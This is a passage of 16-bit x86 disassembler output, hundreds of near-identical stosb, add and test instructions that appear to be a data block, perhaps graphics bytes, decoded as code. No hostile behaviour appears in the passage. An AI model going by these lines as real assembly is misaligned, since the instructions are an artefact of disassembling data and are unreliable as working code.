  867.         stosb                ; Store al to es:[di]
  868.         stosb                ; Store al to es:[di]
  869.         stosb                ; Store al to es:[di]
  870.         stosb                ; Store al to es:[di]
  871.         stosb                ; Store al to es:[di]
  872.         mov    al,ds:data_0161e
  873.         add    [bp+si],al
  874.         stosb                ; Store al to es:[di]
  875.         stosb                ; Store al to es:[di]
  876.         test    al,0Ah
  877.         stosb                ; Store al to es:[di]
  878.         add    byte ptr [bx+si],0
  879.         add    [bx+si],al
  880.         add    [bx+si],al
  881.         or    ch,[bp+si+0A8h]
  882.         add    [bx+si],al
  883.         add    [bp+si],ch
  884.         stosb                ; Store al to es:[di]
  885.         add    [bx+si],al
  886.         add    [bp+si],ch
  887.         stosb                ; Store al to es:[di]
  888.         add    [bp+si],al
  889.         stosb                ; Store al to es:[di]
  890.         mov    al,ds:data_0186e
  891.         add    [bx+si],al
  892.         add    [bp+si-5556h],ch
  893.         stosb                ; Store al to es:[di]
  894.         stosb                ; Store al to es:[di]
  895.         stosb                ; Store al to es:[di]
  896.         test    al,0
  897.         add    [bx+si],al
  898.         add    [bx+si],al
  899.         add    [bx+si],al
  900.         add    [bx+si],al
  901.         add    [bx+si],al
  902.         add    [bx+si],al
  903.         add    [bx+si],al
  904.         add    [bx+si],al
  905.         add    [bp+si+0A8h],ch
  906.         add    [bx+si],al
  907.         add    [bp+si],ch
  908.         stosb                ; Store al to es:[di]
  909.         add    [bp+si],cl
  910.         stosb                ; Store al to es:[di]
  911.         stosb                ; Store al to es:[di]
  912.         stosb                ; Store al to es:[di]
  913.         stosb                ; Store al to es:[di]
  914.         stosb                ; Store al to es:[di]
  915.         mov    al,ds:data_0161e
  916.         test    al,0
  917.         or    ch,[bp+si-5556h]
  918.         stosb                ; Store al to es:[di]
  919.         add    byte ptr [bx+si],0
  920.         add    [bx+si],al
  921.         add    [bx+si],al
  922.         stosb                ; Store al to es:[di]
  923.         stosb                ; Store al to es:[di]
  924.         add    byte ptr [bx+si],0
  925.         add    [bx+si],al
  926.         sub    ch,[bp+si+0]
  927.         nop                ;*ASM fixup - displacement
  928.         nop                ;*ASM fixup - sign extn byte
  929.         add    [bp+si],ch
  930.         stosb                ; Store al to es:[di]
  931.         add    [bp+si],al
  932.         stosb                ; Store al to es:[di]
  933.         mov    al,ds:data_0185e
  934.         add    byte ptr [bx+si],0
  935.         add    [bx+si],al
  936.         add    [bx+si],al
  937.         add    [bx+si],al
  938.         add    [bx+si],al
  939.         add    [bx+si],al
  940.         add    [bx+si],al
  941.         add    [bx+si],al
  942.         add    [bx+si],al
  943.         add    [bx+si],al
  944.         add    [bx+si],al
  945.         add    [bx+si],al
  946.         add    [bx+si],al
  947.         add    [bp+si+0A8h],ch
  948.         mul    byte ptr ds:data_0035e    ; ax = data * al
  949.         add    [bx+si],al
  950.         add    [bx+si],al
  951.         sub    ch,[bp+si-5556h]
  952.         stosb                ; Store al to es:[di]
  953.         stosb                ; Store al to es:[di]
  954.         stosb                ; Store al to es:[di]
  955.         mov    al,byte ptr data_0041+40h    ; (' ')
  956.         stosb                ; Store al to es:[di]
  957.         stosb                ; Store al to es:[di]
  958.         add    [bp+si],ch
  959.         stosb                ; Store al to es:[di]
  960.         mov    al,byte ptr data_0041+40h    ; (' ')
  961.         stosb                ; Store al to es:[di]
  962.         mov    al,byte ptr data_0041+40h    ; (' ')
  963.         stosb                ; Store al to es:[di]
  964.         test    al,0
  965.         add    [bp+si],cl
  966.         stosb                ; Store al to es:[di]
  967.         mov    al,ds:data_0033e
  968.         add    [bx+si],al
  969.         add    [bx+si],al
  970.         add    [bx+si],al
  971.         add    [bx+si],al
  972.         add    [bx+si],al
  973.         add    [bx+si],al
  974.         add    [bx+si],al
  975.         add    [bx+si],al
  976.         add    [bx+si],al
  977.         add    [bp+si+0A8h],ch
  978.         stosb                ; Store al to es:[di]
  979.         stosb                ; Store al to es:[di]
  980.         test    al,0
  981.         add    [bx+si],al
  982.         or    ch,[bp+si-5556h]
  983.         stosb                ; Store al to es:[di]
  984.         stosb                ; Store al to es:[di]
  985.         mov    al,ds:data_0161e
  986.         stosb                ; Store al to es:[di]
  987.         add    [bx+si],al
  988.         add    [bx+si],al
  989.         add    [bp+si],ch
  990.         add    byte ptr [bx+si],0
  991.         add    [bx+si],al
  992.         stosb                ; Store al to es:[di]
  993.         stosb                ; Store al to es:[di]
  994.         stosb                ; Store al to es:[di]
  995.         stosb                ; Store al to es:[di]
  996.         stosb                ; Store al to es:[di]
  997.         stosb                ; Store al to es:[di]
  998.         stosb                ; Store al to es:[di]
  999.         mov    al,ds:data_0033e
  1000.         sub    ch,[bp+si+2A00h]
  1001.         stosb                ; Store al to es:[di]
  1002.         add    [bx+si],al
  1003.         add    ch,[bp+si+0A0h]
  1004.         add    [bp+si],ch
  1005.         stosb                ; Store al to es:[di]
  1006.         add    byte ptr [bx+si],0
  1007.         add    [bx+si],al
  1008.         add    [bx+si],al
  1009.         add    [bx+si],al
  1010.         add    [bx+si],al
  1011.         add    [bx+si],al
  1012.         add    [bx+si],al
  1013.         add    [bx+si],al
  1014.         add    [bx+si],al
  1015.         add    [bx+si],al
  1016.         add    [bx+si],al
  1017.         add    [bx+si],al
  1018.         add    [bp+si+0A8h],ch
  1019.         stosb                ; Store al to es:[di]
  1020.         mov    al,ds:data_0033e
  1021.         add    [bx+si],al
  1022.         or    ch,[bp+si-5556h]
  1023.         stosb                ; Store al to es:[di]
  1024.         stosb                ; Store al to es:[di]
  1025.         mov    al,ds:data_0161e
  1026.         stosb                ; Store al to es:[di]
  1027.         add    [bx+si],al
  1028.         add    [bx+si],al
  1029.         add    [bx+si],al
  1030.         add    byte ptr [bx+si],0
  1031.         add    [bp+si],cl
  1032.         stosb                ; Store al to es:[di]
  1033.         stosb                ; Store al to es:[di]
  1034.         stosb                ; Store al to es:[di]
  1035.         stosb                ; Store al to es:[di]
  1036.         stosb                ; Store al to es:[di]
  1037.         stosb                ; Store al to es:[di]
  1038.         stosb                ; Store al to es:[di]
  1039.         mov    al,ds:data_0033e
  1040.         add    [bp+si],ch
  1041.         add    [bp+si],ch
  1042.         add    [bx+si],al
  1043.         add    [bp+si],al
  1044.         stosb                ; Store al to es:[di]
  1045.         mov    al,ds:data_0033e
  1046.         or    ch,[bp+si+0A0h]
  1047.         add    [bx+si],al
  1048.         or    ch,[bx+si+0]
  1049.         nop                ;*ASM fixup - displacement
  1050.         nop                ;*ASM fixup - sign extn byte
  1051.         add    [bx+si],al
  1052.         add    [bx+si],al
  1053.         add    [bx+si],al
  1054.         add    [bx+si],al
  1055.         add    [bx+si],al
  1056.         add    [bx+si],al
  1057.         add    [bx+si],al
  1058.         add    [bx+si],al
  1059.         add    [bx+si],al
  1060.         add    [bx+si],al
  1061.         add    [bx+si],al
  1062.         add    [bx+si],al
  1063.         add    [bx+si],al
  1064.         add    [bx+si],al
  1065.         add    [bx+si],al
  1066.         add    [bx+si],al
  1067.         add    [bx+si],al
  1068.         add    [bx+si],al
  1069.         add    [bx+si],al
  1070.         add    [bx+si],al
  1071.         add    [bx+si],al
  1072.         add    [bx+si],al
  1073.         add    [bx+si],al
  1074.         add    [bx+si],al
  1075.         add    [bx+si],al
  1076.         add    [bx+si],al
  1077.         add    [bx+si],al
  1078.         add    [bx+si],al
  1079.         add    [bx+si],al
  1080.         add    [bx+si],al
  1081.         add    [bx+si],al
  1082.         add    [bx+si],al
  1083.         add    [bx+si],al
  1084.         add    [bx+si],al
  1085.         add    [bx+si],al
  1086.         add    [bx+si],al
  1087.         add    [bx+si],al
  1088.         add    [bx+si],al
  1089.         add    [bx+si],al
  1090.         add    [bx+si],al
  1091.         add    [bx+si],al
  1092.         add    [bx+si],al
  1093.         or    ch,[bp+si+0A8h]
  1094.         add    [bx+si],al
  1095.         add    [bx+si],al
  1096.         add    [bx+si],al
  1097.         add    [bx+si],al
  1098.         add    [bx+si],al
  1099.         add    [bx+si],al
  1100.         add    [bx+si],al
  1101.         add    [bx+si],al
  1102.         add    [bx+si],al
  1103.         stosb                ; Store al to es:[di]
  1104.         test    al,0
  1105.         stosb                ; Store al to es:[di]
  1106.         stosb                ; Store al to es:[di]
  1107.         add    byte ptr [bx+si],0
  1108.         add    [bp+si],cl
  1109.         stosb                ; Store al to es:[di]
  1110.         stosb                ; Store al to es:[di]
  1111.         stosb                ; Store al to es:[di]
  1112.         stosb                ; Store al to es:[di]
  1113.         stosb                ; Store al to es:[di]
  1114.         mov    al,byte ptr ds:[2800h]
  1115.         add    [bx+si],al
  1116.         add    [bx+si],al
  1117.         add    [bp+si],cl
  1118.         stosb                ; Store al to es:[di]
  1119.         add    byte ptr [bx+si],0
  1120.         add    [bp+si],al
  1121.         stosb                ; Store al to es:[di]
  1122.         stosb                ; Store al to es:[di]
  1123.         stosb                ; Store al to es:[di]
  1124.         stosb                ; Store al to es:[di]
  1125.         stosb                ; Store al to es:[di]
  1126.         stosb                ; Store al to es:[di]
  1127.         stosb                ; Store al to es:[di]
  1128.         mov    al,ds:data_0161e
  1129.         stosb                ; Store al to es:[di]
  1130.         add    [bx+si],al
  1131.         add    [bp+si],ch
  1132.         stosb                ; Store al to es:[di]
  1133.         add    [bp+si],al
  1134.         stosb                ; Store al to es:[di]
  1135.         mov    al,ds:data_0033e
  1136.         or    ch,[bp+si+0A0h]
  1137.         add    [bp+si],ch
  1138.         stosb                ; Store al to es:[di]
  1139.         add    [bx+si],al
  1140.         add    [bx+si],al
  1141.         add    [bx+si],al
  1142.         add    [bx+si],al
  1143.         add    [bx+si],al
  1144.         add    [bx+si],al
  1145.         add    [bx+si],al
  1146.         add    [bx+si],al
  1147.         add    [bx+si],al
  1148.         add    [bx+si],al
  1149.         add    [bp+si+0A8h],ch
  1150.         stosb                ; Store al to es:[di]
  1151.         stosb                ; Store al to es:[di]
  1152.         stosb                ; Store al to es:[di]
  1153.         add    byte ptr [bx+si],0
  1154.         or    ch,[bp+si-5556h]
  1155.         stosb                ; Store al to es:[di]
  1156.         stosb                ; Store al to es:[di]
  1157.         mov    al,ds:data_0161e
  1158.         mov    al,ds:data_0033e
  1159.         add    [bx+si],al
  1160.         or    ch,[bp+si+80h]
  1161.         add    [bx+si],al
  1162.         add    ch,[bp+si-5556h]
  1163.         stosb                ; Store al to es:[di]
  1164.         stosb                ; Store al to es:[di]
  1165.         stosb                ; Store al to es:[di]
  1166.         stosb                ; Store al to es:[di]
  1167.         add    byte ptr [bx+si],2Ah    ; '*'
  1168.         stosb                ; Store al to es:[di]
  1169.         add    [bx+si],al
  1170.         add    [bp+si],ch
  1171.         stosb                ; Store al to es:[di]
  1172.         add    [bp+si],al
  1173.         stosb                ; Store al to es:[di]
  1174.         mov    al,ds:data_0033e
  1175.         stosb                ; Store al to es:[di]
  1176.         stosb                ; Store al to es:[di]
  1177.         add    [bx+si],al
  1178.         add    [bx+si],al
  1179.         add    [bx+si],al
  1180.         add    [bx+si],al
  1181.         add    [bx+si],al
  1182.         add    [bx+si],al
  1183.         add    [bx+si],al
  1184.         add    [bx+si],al
  1185.         add    [bx+si],al
  1186.         add    [bx+si],al
  1187.         add    [bx+si],al
  1188.         add    [bx+si],al
  1189.         add    [bx+si],al
  1190.         stosb                ; Store al to es:[di]
  1191.         test    al,0
  1192.         stosb                ; Store al to es:[di]
  1193.         stosb                ; Store al to es:[di]
  1194.         stosb                ; Store al to es:[di]
  1195.         test    al,0
  1196.         add    [bp+si],cl
  1197.         stosb                ; Store al to es:[di]
  1198.         stosb                ; Store al to es:[di]
  1199.         stosb                ; Store al to es:[di]
  1200.         stosb                ; Store al to es:[di]
  1201.         stosb                ; Store al to es:[di]
  1202.         mov    al,ds:data_0161e
  1203.         stosb                ; Store al to es:[di]
  1204.         add    byte ptr [bx+si],0
  1205.         add    [bp+si],cl
  1206.         stosb                ; Store al to es:[di]
  1207.         add    byte ptr [bx+si],0
  1208.         add    [bp+si],al
  1209.         stosb                ; Store al to es:[di]
  1210.         stosb                ; Store al to es:[di]
  1211.         stosb                ; Store al to es:[di]
  1212.         stosb                ; Store al to es:[di]
  1213.         stosb                ; Store al to es:[di]
  1214.         stosb                ; Store al to es:[di]
  1215.         test    al,0
  1216.         add    [bp+si],ch
  1217.         stosb                ; Store al to es:[di]
  1218.         add    [bx+si],al
  1219.         add    [bp+si],ch
  1220.         stosb                ; Store al to es:[di]
  1221.         add    [bp+si],al
  1222.         stosb                ; Store al to es:[di]
  1223.         mov    al,byte ptr ds:[0F600h]
  1224.         and    ax,28h
  1225.         add    [bx+si],al
  1226.         add    [bx+si],al
  1227.         add    [bx+si],al
  1228.         stosb                ; Store al to es:[di]
  1229.         test    al,0
  1230.         add    [bx+si],al
  1231.         add    [bp+si],ch
  1232.         stosb                ; Store al to es:[di]
  1233.         add    [bp+si],cl
  1234.         stosb                ; Store al to es:[di]
  1235.         stosb                ; Store al to es:[di]
  1236.         stosb                ; Store al to es:[di]
  1237.         stosb                ; Store al to es:[di]
  1238.         stosb                ; Store al to es:[di]
  1239.         mov    al,byte ptr ds:[2800h]
  1240.         add    [bp+si],ch
  1241.         stosb                ; Store al to es:[di]
  1242.         stosb                ; Store al to es:[di]
  1243.         mov    al,byte ptr ds:[0AA0Ah]
  1244.         add    byte ptr [bx+si],0
  1245.         add    [bx+si],al
  1246.         add    [bx+si],al
  1247.         add    ch,[bp+si+0AAh]
  1248.         add    [bx+si],al
  1249.         add    [bp+si],ch
  1250.         stosb                ; Store al to es:[di]
  1251.         add    [bx+si],al
  1252.         add    [bp+si],ch
  1253.         stosb                ; Store al to es:[di]
  1254.         add    [bp+si],al
  1255.         stosb                ; Store al to es:[di]
  1256.         mov    al,ds:data_0181e
  1257.         add    [bx+si],al
  1258.         add    [bp+si-5556h],ch
  1259.         stosb                ; Store al to es:[di]
  1260.         stosb                ; Store al to es:[di]
  1261.         stosb                ; Store al to es:[di]
  1262.         stosb                ; Store al to es:[di]
  1263.         stosb                ; Store al to es:[di]
  1264.         stosb                ; Store al to es:[di]
  1265.         add    byte ptr [bx+si],0
  1266.         add    [bx+si],al
  1267.         add    [bx+si],al
  1268.         add    [bx+si],al
  1269.         add    [bx+si],al
  1270.         add    [bx+si],al
  1271.         add    [bx+si],al
  1272.         add    [bp+si+0A8h],ch
  1273.         add    [bx+si],al
  1274.         add    [bp+si],ch
  1275.         stosb                ; Store al to es:[di]
  1276.         add    [bp+si],cl
  1277.         stosb                ; Store al to es:[di]
  1278.         stosb                ; Store al to es:[di]
  1279.         stosb                ; Store al to es:[di]
  1280.         stosb                ; Store al to es:[di]
  1281.         stosb                ; Store al to es:[di]
  1282.         mov    al,ds:data_0161e
  1283.         mov    al,ds:data_0182e
  1284.         stosb                ; Store al to es:[di]
  1285.         stosb                ; Store al to es:[di]
  1286.         or    ch,[bp+si+80h]
  1287.         add    [bx+si],al
  1288.         add    [bx+si],al
  1289.         add    [bp+si],ch
  1290.         stosb                ; Store al to es:[di]
  1291.         mov    al,ds:data_0033e
  1292.         add    [bx+si],al
  1293.         sub    ch,[bp+si+0]
  1294.         nop                ;*ASM fixup - displacement
  1295.         nop                ;*ASM fixup - sign extn byte
  1296.         add    [bp+si],ch
  1297.         stosb                ; Store al to es:[di]
  1298.         add    [bp+si],al
  1299.         stosb                ; Store al to es:[di]
  1300.         mov    al,ds:data_0185e
  1301.         add    byte ptr [bx+si],0
  1302.         stosb                ; Store al to es:[di]
  1303.         stosb                ; Store al to es:[di]
  1304.         test    al,0
  1305.         add    [bx+si],al
  1306.         add    [bx+si],al
  1307.         add    [bx+si],al
  1308.         add    [bx+si],al
  1309.         add    [bx+si],al
  1310.         add    [bx+si],al
  1311.         add    [bx+si],al
  1312.         add    [bx+si],al
  1313.         add    [bx+si],al
  1314.         add    [bx+si],al
  1315.         add    [bp+si+0A8h],ch
  1316.         add    [bx+si],al
  1317.         add    [bp+si+0AAh],ch
  1318.         or    ch,[bp+si-5556h]
  1319.         stosb                ; Store al to es:[di]
  1320.         stosb                ; Store al to es:[di]
  1321.         mov    al,ds:data_0161e
  1322.         stosb                ; Store al to es:[di]
  1323.         add    [bp+si],al
  1324.         stosb                ; Store al to es:[di]
  1325.         stosb                ; Store al to es:[di]
  1326.         stosb                ; Store al to es:[di]
  1327.         stosb                ; Store al to es:[di]
  1328.         add    byte ptr [bx+si],0
  1329.         add    [bx+si],al
  1330.         add    [bx+si],al
  1331.         stosb                ; Store al to es:[di]
  1332.         stosb                ; Store al to es:[di]
  1333.         add    byte ptr [bx+si],0
  1334.         add    [bx+si],al
  1335.         sub    ch,[bp+si+0]
  1336.         nop                ;*ASM fixup - displacement
  1337.         nop                ;*ASM fixup - sign extn byte
  1338.         add    [bp+si],ch
  1339.         stosb                ; Store al to es:[di]
  1340.         add    [bp+si],al
  1341.         stosb                ; Store al to es:[di]
  1342.         mov    al,byte ptr ds:[0AA0Ah]
  1343.         mov    al,ds:data_0033e
  1344.         add    [bx+si],al
  1345.         add    [bx+si],al
  1346.         add    [bx+si],al
  1347.         add    [bx+si],al
  1348.         add    [bx+si],al
  1349.         add    [bx+si],al
  1350.         add    [bx+si],al
  1351.         add    [bx+si],al
  1352.         add    [bx+si],al
  1353.         add    [bx+si],al
  1354.         add    [bx+si],al
  1355.         add    [bx+si],al
  1356.         add    [bp+si+0A8h],ch
  1357.         add    [bx+si],al
  1358.         add    ch,[bp+si+0A8h]
  1359.         add    [bx+si],al
  1360.         add    [bx+si],al
  1361.         add    [bx+si],al
  1362.         add    [bx+si],al
  1363.         sub    ch,[bp+si+0]
  1364.         nop                ;*ASM fixup - displacement
  1365.         nop                ;*ASM fixup - sign extn byte
  1366.         or    ch,[bp+si-5556h]
  1367.         add    byte ptr [bx+si],0
  1368.         add    [bx+si],al
  1369.         add    [bp+si],cl
  1370.         stosb                ; Store al to es:[di]
  1371.         test    al,0
  1372.         add    [bx+si],al
  1373.         add    [bx+si],al
  1374.         sub    ch,[bp+si+0]
  1375.         nop                ;*ASM fixup - displacement
  1376.         nop                ;*ASM fixup - sign extn byte
  1377.         add    [bp+si],ch
  1378.         stosb                ; Store al to es:[di]
  1379.         add    [bp+si],al
  1380.         stosb                ; Store al to es:[di]
  1381.         mov    al,ds:data_0183e
  1382.         test    al,0
  1383.         add    [bp+si],ch
  1384.         stosb                ; Store al to es:[di]
  1385.         stosb                ; Store al to es:[di]
  1386.         stosb                ; Store al to es:[di]
  1387.         stosb                ; Store al to es:[di]
  1388.         stosb                ; Store al to es:[di]
  1389.         mov    al,ds:data_0033e
  1390.         add    [bx+si],al
  1391.         add    [bx+si],al
  1392.         add    [bx+si],al
  1393.         add    [bx+si],al
  1394.         add    [bx+si],al
  1395.         add    [bx+si],al
  1396.         add    [bx+si],al
  1397.         add    [bx+si],al
  1398.         stosb                ; Store al to es:[di]
  1399.         test    al,0
  1400.         add    [bx+si],al
  1401.         sub    ch,[bp+si+0A0h]
  1402.         add    [bx+si],al
  1403.         add    [bx+si],al
  1404.         add    [bx+si],al
  1405.         add    [bx+si],al
  1406.         sub    ch,[bp+si+0]
  1407.         nop                ;*ASM fixup - displacement
  1408.         nop                ;*ASM fixup - sign extn byte
  1409.         add    [bp+si],ch
  1410.         stosb                ; Store al to es:[di]
  1411.         stosb                ; Store al to es:[di]
  1412.         add    byte ptr [bx+si],0
  1413.         add    [bx+si],al
  1414.         add    [bp+si-7F56h],ch
  1415.         add    [bx+si],al
  1416.         add    [bx+si],al
  1417.         add    [bp+si],ch
  1418.         stosb                ; Store al to es:[di]
  1419.         add    [bx+si],al
  1420.         add    [bp+si],ch
  1421.         stosb                ; Store al to es:[di]
  1422.         add    [bp+si],al
  1423.         stosb                ; Store al to es:[di]
  1424.         mov    al,ds:data_0161e
  1425.         stosb                ; Store al to es:[di]
  1426.         add    byte ptr [bx+si],0
  1427.         add    [bx+si],al
  1428.         add    [bx+si],al
  1429.         add    [bx+si],al
  1430.         add    [bx+si],al
  1431.         add    [bx+si],al
  1432.         add    [bx+si],al
  1433.         add    [bx+si],al
  1434.         add    [bx+si],al
  1435.         add    [bx+si],al
  1436.         add    [bx+si],al
  1437.         add    [bx+si],al
  1438.         add    [bx+si],al
  1439.         stosb                ; Store al to es:[di]
  1440.         test    al,0
  1441.         add    [bp+si],ch
  1442.         stosb                ; Store al to es:[di]
  1443.         stosb                ; Store al to es:[di]
  1444.         add    [bx+si],al
  1445.         add    [bx+si],al
  1446.         add    [bx+si],al
  1447.         add    [bx+si],al
  1448.         add    [bx+si],al
  1449.         sub    ch,[bp+si+0]
  1450.         nop                ;*ASM fixup - displacement
  1451.         nop                ;*ASM fixup - sign extn byte
  1452.         add    [bx+si],al
  1453.         stosb                ; Store al to es:[di]
  1454.         stosb                ; Store al to es:[di]
  1455.         add    byte ptr [bx+si],0
  1456.         add    [bx+si],al
  1457.         add    ch,[bp+si+0AAh]
  1458.         add    [bx+si],al
  1459.         add    [bx+si],al
  1460.         add    [bp+si],cl
  1461.         stosb                ; Store al to es:[di]
  1462.         mov    al,byte ptr data_0041+40h    ; (' ')
  1463.         stosb                ; Store al to es:[di]
  1464.         test    al,0
  1465.         add    ch,[bp+si+0A0h]
  1466.         or    ch,[bp+si+0A0h]
  1467.         add    [bp+si-5556h],ch
  1468.         stosb                ; Store al to es:[di]
  1469.         stosb                ; Store al to es:[di]
  1470.         stosb                ; Store al to es:[di]
  1471.         stosb                ; Store al to es:[di]
  1472.         add    byte ptr [bx+si],0
  1473.         add    [bx+si],al
  1474.         add    [bx+si],al
  1475.         add    [bx+si],al
  1476.         add    [bx+si],al
  1477.         add    [bx+si],al
  1478.         add    [bx+si],al
  1479.         add    [bx+si],al
  1480.         stosb                ; Store al to es:[di]
  1481.         test    al,0
  1482.         stosb                ; Store al to es:[di]
  1483.         stosb                ; Store al to es:[di]
  1484.         stosb                ; Store al to es:[di]
  1485.         mov    al,ds:data_0033e
  1486.         or    ch,[bp+si-5556h]
  1487.         stosb                ; Store al to es:[di]
  1488.         stosb                ; Store al to es:[di]
  1489.         mov    al,ds:data_0161e
  1490.         stosb                ; Store al to es:[di]
  1491.         add    [bx+si],al
  1492.         add    [bx+si],al
  1493.         or    ch,[bp+si+80h]
  1494.         mul    byte ptr [si]        ; ax = data * al
  1495.         sub    [bx+si],al
  1496.         add    [bx+si],al
  1497.         sub    ch,[bp+si+200h]
  1498.         stosb                ; Store al to es:[di]
  1499.         mov    al,ds:data_0033e
  1500.         add    ch,[bp+si+0A8h]
  1501.         add    [bp+si],al
  1502.         stosb                ; Store al to es:[di]
  1503.         mov    al,ds:data_0033e
  1504.         add    [bx+si],al
  1505.         add    [bx+si],al
  1506.         add    [bx+si],al
  1507.         add    [bx+si],al
  1508.         add    [bx+si],al
  1509.         add    [bx+si],al
  1510.         add    [bx+si],al
  1511.         add    [bx+si],al
  1512.         add    [bx+si],al
  1513.         stosb                ; Store al to es:[di]
  1514.         test    al,0
  1515.         stosb                ; Store al to es:[di]
  1516.         stosb                ; Store al to es:[di]
  1517.         test    al,0
  1518.         add    [bx+si],al
  1519.         or    ch,[bp+si-5556h]
  1520.         stosb                ; Store al to es:[di]
  1521.         stosb                ; Store al to es:[di]
  1522.         mov    al,ds:data_0161e
  1523.         add    byte ptr [bx+si],0
  1524.         add    [bx+si],al
  1525.         or    ch,[bp+si+80h]
  1526.         add    [bx+si],al
  1527.         add    ch,[bp+si-5556h]
  1528.         stosb                ; Store al to es:[di]
  1529.         stosb                ; Store al to es:[di]
  1530.         stosb                ; Store al to es:[di]
  1531.         stosb                ; Store al to es:[di]
  1532.         add    byte ptr [bx+si],2Ah    ; '*'
  1533.         stosb                ; Store al to es:[di]
  1534.         add    [bx+si],al
  1535.         add    [bp+si],ch
  1536.         stosb                ; Store al to es:[di]
  1537.         add    [bp+si],al
  1538.         stosb                ; Store al to es:[di]
  1539.         mov    al,ds:data_0033e
  1540.         sub    ch,[bp+si+80h]
  1541.         add    [bx+si],al
  1542.         add    [bx+si],al
  1543.         add    [bx+si],al
  1544.         add    [bx+si],al
  1545.         add    [bx+si],al
  1546.         add    [bx+si],al
  1547.         add    [bx+si],al
  1548.         add    [bx+si],al
  1549.         add    [bx+si],al
  1550.         add    [bx+si],al
  1551.         add    [bx+si],al
  1552.         add    [bx+si],al
  1553.         stosb                ; Store al to es:[di]
  1554.         test    al,0
  1555.         stosb                ; Store al to es:[di]
  1556.         stosb                ; Store al to es:[di]
  1557.         stosb                ; Store al to es:[di]
  1558.         mov    al,ds:data_0033e
  1559.         or    ch,[bp+si-5556h]
  1560.         stosb                ; Store al to es:[di]
  1561.         stosb                ; Store al to es:[di]
  1562.         mov    al,ds:data_0161e
  1563.         test    al,0
  1564.         add    [bx+si],al
  1565.         add    [bp+si],cl
  1566.         stosb                ; Store al to es:[di]
  1567.         add    byte ptr [bx+si],0
  1568.         add    [bp+si],al
  1569.         stosb                ; Store al to es:[di]
  1570.         stosb                ; Store al to es:[di]
  1571.         stosb                ; Store al to es:[di]
  1572.         stosb                ; Store al to es:[di]
  1573.         stosb                ; Store al to es:[di]
  1574.         stosb                ; Store al to es:[di]
  1575.         stosb                ; Store al to es:[di]
  1576.         add    [bx+si],al
  1577.         sub    ch,[bp+si+0]
  1578.         nop                ;*ASM fixup - displacement
  1579.         nop                ;*ASM fixup - sign extn byte
  1580.         add    [bp+si],ch
  1581.         stosb                ; Store al to es:[di]
  1582.         add    [bp+si],al
  1583.         stosb                ; Store al to es:[di]
  1584.         mov    al,ds:data_0033e
  1585.         stosb                ; Store al to es:[di]
  1586.         test    al,0
  1587.         add    [bp+si],ch
  1588.         stosb                ; Store al to es:[di]
  1589.         stosb                ; Store al to es:[di]
  1590.         stosb                ; Store al to es:[di]
  1591.         stosb                ; Store al to es:[di]
  1592.         stosb                ; Store al to es:[di]
  1593.         stosb                ; Store al to es:[di]
  1594.         add    [bx+si],al
  1595.         add    [bx+si],al
  1596.         add    [bx+si],al
  1597.         add    [bx+si],al
  1598.         add    [bx+si],al
  1599.         add    [bx+si],al
  1600.         add    [bx+si],al
  1601.         add    [bx+si],al
  1602.         add    [bp+si+0A8h],ch
  1603.         add    [bp+si],ch
  1604.         stosb                ; Store al to es:[di]
  1605.         stosb                ; Store al to es:[di]
  1606.         add    [bx+si],al
  1607.         add    [bx+si],al
  1608.         add    [bx+si],al
  1609.         add    [bx+si],al
  1610.         add    [bx+si],al
  1611.         sub    ch,[bp+si+0A0h]
  1612.         add    [bx+si],al
  1613.         or    ch,[bp+si+80h]
  1614.         add    [bx+si],al
  1615.         add    [bx+si],al
  1616.         add    [bx+si],al
  1617.         add    [bx+si],al
  1618.         add    [bx+si],al
  1619.         add    [bx+si],al
  1620.         sub    ch,[bp+si+0]
  1621.         nop                ;*ASM fixup - displacement
  1622.         nop                ;*ASM fixup - sign extn byte
  1623.         add    [bp+si],ch
  1624.         stosb                ; Store al to es:[di]
  1625.         add    [bp+si],al
  1626.         stosb                ; Store al to es:[di]
  1627.         mov    al,byte ptr data_0041+40h    ; (' ')
  1628.         stosb                ; Store al to es:[di]
  1629.         mov    al,byte ptr data_0041+40h    ; (' ')
  1630.         stosb                ; Store al to es:[di]
  1631.         stosb                ; Store al to es:[di]
  1632.         add    byte ptr [bx+si],0
  1633.         add    [bx+si],al
  1634.         add    [bx+si],al
  1635.         add    [bx+si],al
  1636.         add    [bx+si],al
  1637.         add    [bx+si],al
  1638.         add    [bx+si],al
  1639.         add    [bx+si],al
  1640.         add    [bx+si],al
  1641.         add    [bx+si],al
  1642.         add    [bp+si+0A8h],ch
  1643.         add    [bx+si],al
  1644.         sub    ch,[bp+si+0A0h]
  1645.         add    [bx+si],al
  1646.         add    [bx+si],al
  1647.         add    [bx+si],al
  1648.         add    [bx+si],al
  1649.         sub    ch,[bp+si-7F56h]
  1650.         add    [bx+si],al
  1651.         or    ch,[bp+si+80h]
  1652.         add    [bx+si],al
  1653.         add    [bx+si],al
  1654.         add    [bx+si],al
  1655.         add    [bx+si],al
  1656.         add    [bx+si],al
  1657.         add    [bx+si],al
  1658.         sub    ch,[bp+si+0]
  1659.         nop                ;*ASM fixup - displacement
  1660.         nop                ;*ASM fixup - sign extn byte
  1661.         add    [bp+si],ch
  1662.         stosb                ; Store al to es:[di]
  1663.         add    [bp+si],al
  1664.         stosb                ; Store al to es:[di]
  1665.         mov    al,ds:data_0033e
  1666.         sub    al,[bx+si+0]
  1667.         nop                ;*ASM fixup - displacement
  1668.         nop                ;*ASM fixup - sign extn byte
  1669.         add    [bx+si],al
  1670.         add    [bx+si],al
  1671.         add    [bx+si],al
  1672.         add    [bx+si],al
  1673.         add    [bx+si],al
  1674.         add    [bx+si],al
  1675.         add    [bx+si],al
  1676.         add    [bx+si],al
  1677.         add    [bx+si],al
  1678.         add    [bx+si],al
  1679.         add    [bx+si],al
  1680.         add    [bx+si],al
  1681.         stosb                ; Store al to es:[di]
  1682.         test    al,0
  1683.         add    [bx+si],al
  1684.         add    ch,[bp+si+0A8h]
  1685.         add    [bx+si],al
  1686.         add    [bx+si],al
  1687.         add    [bx+si],al
  1688.         add    [bx+si],al
  1689.         add    [bp+si-5556h],ch
  1690.         add    [bx+si],al
  1691.         or    ch,[bp+si+80h]
  1692.         add    [bx+si],al
  1693.         add    [bx+si],al
  1694.         add    [bx+si],al
  1695.         or    ch,[bp+si+0A8h]
  1696.         add    [bx+si],al
  1697.         sub    ch,[bp+si+0]
  1698.         nop                ;*ASM fixup - displacement
  1699.         nop                ;*ASM fixup - sign extn byte
  1700.         add    [bp+si],ch
  1701.         stosb                ; Store al to es:[di]
  1702.         add    [bp+si],al
  1703.         stosb                ; Store al to es:[di]
  1704.         mov    al,ds:data_0179e
  1705.         or    [bx+si],al
  1706.         add    [bp+si],ch
  1707.         stosb                ; Store al to es:[di]
  1708.         stosb                ; Store al to es:[di]
